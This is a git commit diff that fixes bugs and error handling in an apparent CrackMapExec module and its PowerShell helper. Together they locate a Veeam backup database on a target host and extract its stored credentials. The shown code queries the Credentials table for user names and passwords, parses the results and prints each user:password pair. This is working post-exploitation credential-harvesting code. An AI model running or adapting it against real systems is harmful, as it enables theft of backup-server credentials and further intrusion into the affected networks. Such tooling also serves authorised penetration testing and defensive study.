Fix bugs and error handling

main
Alexander Neff 2023-01-11 20:35:45 +01:00 committed by mpgn
parent 24a2ae4955
commit dfb0eee317
2 changed files with 11 additions and 5 deletions

View File

@ -1,6 +1,6 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
@ -18,13 +18,13 @@ try {
$connection.Close()
}
catch {
Write-Host "Can't connect to DB, exit."
Write-Host "Can't connect to DB! Exiting..."
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
Write-Host"No passwords found!"
Write-Host "No passwords found!"
exit
}

View File

@ -76,7 +76,13 @@ class CMEModule:
output = self.stripXmlOutput(context, output)
# Stripping whitespaces and newlines
output_stripped = [" ".join(line.strip().split()) for line in output.split("\r\n") if line.strip()]
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
# Error handling
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
context.log.error(output_stripped[0])
return
for account in output_stripped:
user, password = account.split(" ", 1)
context.log.highlight(user + ":" + password)
@ -86,5 +92,5 @@ class CMEModule:
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
if SqlDatabase and SqlInstance and SqlServer:
context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlInstance, SqlServer))
context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlServer, SqlInstance))
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)